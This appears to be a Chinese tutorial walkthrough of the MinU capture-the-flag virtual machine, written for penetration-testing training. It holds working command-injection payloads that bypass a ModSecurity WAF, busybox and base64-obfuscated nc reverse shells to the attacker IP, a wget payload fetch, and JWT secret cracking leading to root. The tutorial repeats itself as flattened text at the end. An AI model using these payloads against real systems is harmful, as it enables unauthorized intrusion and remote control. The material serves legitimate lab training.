红队渗透项目之MinU: 1
字数 1313 2025-08-11 17:39:49

MinU渗透测试项目教学文档

项目概述

MinU是一个基于Ubuntu的虚拟机渗透测试环境,由8BitSec作者精心制作,专为OSCP考试培训设计。该项目难度评级为中级,涵盖了完整的渗透测试流程:信息收集、WEB信息枚举、WAF绕过、内网信息收集和提权。

环境准备

  • 攻击机:Kali Linux (IP: 192.168.4.139)
  • 靶机:MinU虚拟机 (IP: 192.168.4.168)
  • 网络配置:VirtualBox桥接模式,必须使用WiFi网卡桥接

渗透测试流程

一、信息收集

  1. 网络配置确认

    • 确认靶机IP: 192.168.4.168
    • 确认攻击机IP: 192.168.4.139
  2. 端口扫描

    nmap 192.168.4.168
    

    结果:仅开放80端口(HTTP服务)

二、WEB信息枚举

  1. 基础页面检查

    • 访问http://192.168.4.168/显示默认Apache页面
  2. 目录爆破

    dirb http://192.168.4.168
    
    • 大多数返回403状态码,表明存在WAF或防护机制
    • 筛选有效页面:
      dirb http://192.168.4.168/ | grep 200
      
    • 发现test.php页面:
      dirb http://192.168.4.168/ -X .php
      
  3. 测试文件包含漏洞

    • 访问http://192.168.4.168/test.php显示"Read last visitor data"
    • 点击后跳转http://192.168.4.168/test.php?file=last.html
    • 尝试文件包含:
      http://192.168.4.168/test.php?file=/etc/passwd
      
      返回403,确认WAF存在

三、WAF识别与绕过

  1. WAF识别

    wafw00f http://192.168.4.168/test.php
    

    识别为ModSecurity WAF (OWASP CRS)

  2. 模糊测试

    wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.4.168/test.php?file=FUZZ
    

    发现"|"字符可绕过WAF

  3. 多种绕过方法

    a. 管道符(|)绕过

    http://192.168.4.168/test.php?file=|dir
    

    b. $u绕过

    http://192.168.4.168/test.php?file=test; $u wget http://192.168.4.139:8081/shell -o /tmp/shell
    

    c. 分号(;)绕过

    http://192.168.4.168/test.php?file=last.html;id
    

    d. 二进制绕过

    • 使用BusyBox反弹shell:
      http://192.168.4.168/test.php?file=test;busybox nc 192.168.4.139 6666 -e sh
      
    • 获取稳定shell:
      python3 -c 'import pty; pty.spawn("/bin/bash")'
      

    e. &符号绕过

    • URL编码为%26:
      http://192.168.4.168/test.php?file=%26id
      
    • Base64混淆反弹shell:
      echo "nc -e /bin/sh 192.168.4.139 5566 " | base64
      
      执行:
      http://192.168.4.168/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTM5IDU1NjYgICAK|/u?r/b?n/b?se64 -d|/bin/?h
      

四、内网信息收集

  1. 上传并运行linpeas.sh

    wget http://192.168.4.139:8081/linpeas.sh
    chmod +x linpeas.sh
    ./linpeas.sh
    

    发现:

    • Linux内核版本:4.13.0-39-generic
    • Sudo版本:1.8.20p2
    • 用户bob属于sudo组
  2. 发现隐藏凭证

    cd /home/bob
    ls -la
    cat ._pw_
    

    获取JWT令牌

五、提权

  1. JWT令牌分析

    • 令牌结构:
      eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
      
    • 使用jwt.io分析确认是HS256算法
  2. JWT破解

    git clone https://github.com/brendan-rius/c-jwt-cracker.git
    cd c-jwt-cracker
    make
    ./jwtcrack <JWT令牌>
    

    获取密钥:mlnV1

  3. root权限获取

    su root
    密码:mlnV1
    
  4. 获取flag

    cd /root
    cat flag.txt
    

    结果:flag{c89031ac1b40954bb9a0589adcb6d174}

技术总结

  1. 信息收集技巧

    • Nmap基础扫描
    • Dirb目录爆破
    • 状态码过滤分析
  2. WAF绕过技术

    • 多种字符绕过方法(|, $u, ;, &)
    • 二进制文件利用(BusyBox)
    • Base64混淆编码
  3. 内网信息收集

    • Linpeas.sh自动化枚举
    • 隐藏文件发现
    • 敏感信息提取
  4. 提权方法

    • JWT令牌分析与破解
    • 凭证复用
    • 权限提升路径分析

安全建议

  1. 防御措施

    • 更新WAF规则防止特殊字符绕过
    • 限制PHP文件包含功能
    • 定期更换敏感凭证
    • 监控隐藏文件和异常进程
  2. 加固建议

    • 更新系统和软件补丁
    • 限制sudo权限
    • 禁用不必要的服务
    • 实施最小权限原则

本教学文档完整复现了MinU渗透测试项目的全部流程,涵盖了从信息收集到最终提权的关键技术点,可作为中级渗透测试人员的实战参考。

MinU渗透测试项目教学文档 项目概述 MinU是一个基于Ubuntu的虚拟机渗透测试环境,由8BitSec作者精心制作,专为OSCP考试培训设计。该项目难度评级为中级,涵盖了完整的渗透测试流程:信息收集、WEB信息枚举、WAF绕过、内网信息收集和提权。 环境准备 攻击机 :Kali Linux (IP: 192.168.4.139) 靶机 :MinU虚拟机 (IP: 192.168.4.168) 网络配置 :VirtualBox桥接模式,必须使用WiFi网卡桥接 渗透测试流程 一、信息收集 网络配置确认 确认靶机IP: 192.168.4.168 确认攻击机IP: 192.168.4.139 端口扫描 结果:仅开放80端口(HTTP服务) 二、WEB信息枚举 基础页面检查 访问 http://192.168.4.168/ 显示默认Apache页面 目录爆破 大多数返回403状态码,表明存在WAF或防护机制 筛选有效页面: 发现 test.php 页面: 测试文件包含漏洞 访问 http://192.168.4.168/test.php 显示"Read last visitor data" 点击后跳转 http://192.168.4.168/test.php?file=last.html 尝试文件包含: 返回403,确认WAF存在 三、WAF识别与绕过 WAF识别 识别为ModSecurity WAF (OWASP CRS) 模糊测试 发现"|"字符可绕过WAF 多种绕过方法 a. 管道符(|)绕过 b. $u绕过 c. 分号(;)绕过 d. 二进制绕过 使用BusyBox反弹shell: 获取稳定shell: e. &符号绕过 URL编码为%26: Base64混淆反弹shell: 执行: 四、内网信息收集 上传并运行linpeas.sh 发现: Linux内核版本:4.13.0-39-generic Sudo版本:1.8.20p2 用户bob属于sudo组 发现隐藏凭证 获取JWT令牌 五、提权 JWT令牌分析 令牌结构: 使用jwt.io分析确认是HS256算法 JWT破解 获取密钥: mlnV1 root权限获取 获取flag 结果: flag{c89031ac1b40954bb9a0589adcb6d174} 技术总结 信息收集技巧 Nmap基础扫描 Dirb目录爆破 状态码过滤分析 WAF绕过技术 多种字符绕过方法(|, $u, ;, &) 二进制文件利用(BusyBox) Base64混淆编码 内网信息收集 Linpeas.sh自动化枚举 隐藏文件发现 敏感信息提取 提权方法 JWT令牌分析与破解 凭证复用 权限提升路径分析 安全建议 防御措施 更新WAF规则防止特殊字符绕过 限制PHP文件包含功能 定期更换敏感凭证 监控隐藏文件和异常进程 加固建议 更新系统和软件补丁 限制sudo权限 禁用不必要的服务 实施最小权限原则 本教学文档完整复现了MinU渗透测试项目的全部流程,涵盖了从信息收集到最终提权的关键技术点,可作为中级渗透测试人员的实战参考。